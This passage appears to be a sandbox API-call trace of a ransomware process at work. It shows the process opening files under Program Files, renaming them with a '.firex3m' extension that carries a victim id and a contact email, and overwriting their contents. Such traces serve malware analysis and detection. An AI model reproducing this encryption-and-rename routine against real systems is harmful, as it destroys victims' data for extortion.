CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Printer.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_printer.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.170] Sleep (dwMilliseconds=0x1) [0243.178] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer Settings.png", len=0x7a | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer Settings.png") returned 1 [0243.178] GetProcessHeap () returned 0x630000 [0243.178] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x530c) returned 0x6fe3bb0 [0243.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Printer Settings.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_printer settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.178] Sleep (dwMilliseconds=0x1) [0243.203] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x310Logo.scale-100.png", len=0x95 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x310Logo.scale-100.png") returned 1 [0243.203] GetProcessHeap () returned 0x630000 [0243.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x529c) returned 0x6fe3bb0 [0243.203] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square310x310Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square310x310logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.203] Sleep (dwMilliseconds=0x1) [0243.215] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-32.png", len=0x8c | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-32.png") returned 1 [0243.215] GetProcessHeap () returned 0x630000 [0243.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5288) returned 0x6fe3bb0 [0243.215] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\icon.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.216] Sleep (dwMilliseconds=0x1) [0243.235] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16_altform-unplated.png", len=0xa8 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16_altform-unplated.png") returned 1 [0243.235] GetProcessHeap () returned 0x630000 [0243.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x525c) returned 0x6fe3bb0 [0243.235] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.237] Sleep (dwMilliseconds=0x1) [0244.253] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileWide.scale-100.png", len=0x78 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileWide.scale-100.png") returned 1 [0244.253] GetProcessHeap () returned 0x630000 [0244.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f64) returned 0x6fe3bb0 [0244.253] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.253] Sleep (dwMilliseconds=0x1) [0245.983] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM", len=0x6e | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM") returned 1 [0245.984] GetProcessHeap () returned 0x630000 [0245.984] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0245.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0246.011] CloseHandle (hObject=0x694) returned 1 [0246.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbendf98.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBENDF~1.FIR")) returned 0x6d4ec0 [0246.013] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0246.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbendf98.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0246.013] GetProcessHeap () returned 0x630000 [0246.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0246.013] GetProcessHeap () returned 0x630000 [0246.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0246.013] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.013] ReadFile (in: hFile=0x694, lpBuffer=0x72f51a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.644] GetProcessHeap () returned 0x630000 [0253.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0253.644] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.644] WriteFile (in: hFile=0x694, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.645] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.645] WriteFile (in: hFile=0x694, lpBuffer=0x730b9d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730b9d7*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.645] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.646] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.646] CloseHandle (hObject=0x694) returned 1 [0253.646] GetProcessHeap () returned 0x630000 [0253.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0253.646] GetProcessHeap () returned 0x630000 [0253.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0253.646] GetProcessHeap () returned 0x630000 [0253.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0254.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d230e5f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11983, dwReserved0=0xbc87496, dwReserved1=0x72f51a0, cFileName="VBENDF98.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBENDF~1.FIR")) returned 0x6d5340 [0254.425] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0254.425] Sleep (dwMilliseconds=0x1) [0254.440] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-100.png", len=0xa0 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-100.png") returned 1 [0254.440] GetProcessHeap () returned 0x630000 [0254.440] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0254.440] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.467] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", len=0x67 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned 1 [0254.467] GetProcessHeap () returned 0x630000 [0254.467] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd8) returned 0x6fe3bb0 [0254.468] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.473] Sleep (dwMilliseconds=0x1) [0254.479] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF", len=0x6d | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF") returned 1 [0254.479] GetProcessHeap () returned 0x630000 [0254.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dbc) returned 0x6fe3bb0 [0254.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.688] CloseHandle (hObject=0x6d8) returned 1 [0254.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0254.711] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.711] GetProcessHeap () returned 0x630000 [0254.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa41) returned 0x681d78 [0254.711] GetProcessHeap () returned 0x630000 [0254.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa41) returned 0x6e5368 [0254.711] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.712] ReadFile (in: hFile=0x6d8, lpBuffer=0x681d78, nNumberOfBytesToRead=0xa20, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x4e7ff0c*=0xa20, lpOverlapped=0x0) returned 1 [0254.782] GetProcessHeap () returned 0x630000 [0254.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0254.782] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.782] WriteFile (in: hFile=0x6d8, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x4e7ff0c*=0xa20, lpOverlapped=0x0) returned 1 [0254.782] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.782] WriteFile (in: hFile=0x6d8, lpBuffer=0x6e5d87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d87*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.782] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.782] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.782] CloseHandle (hObject=0x6d8) returned 1 [0254.789] GetProcessHeap () returned 0x630000 [0254.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0254.789] GetProcessHeap () returned 0x630000 [0254.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0254.789] GetProcessHeap () returned 0x630000 [0254.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0254.789] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dcf60fe, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa50, dwReserved0=0xbc87496, dwReserved1=0x681d70, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0254.789] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.789] Sleep (dwMilliseconds=0x1) [0256.023] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM", len=0x68 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM") returned 1 [0256.023] GetProcessHeap () returned 0x630000 [0256.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d04) returned 0x6fe3bb0 [0256.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0259.035] CloseHandle (hObject=0x710) returned 1 [0259.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0259.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0259.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x630061, dwReserved1=0x2d0074, 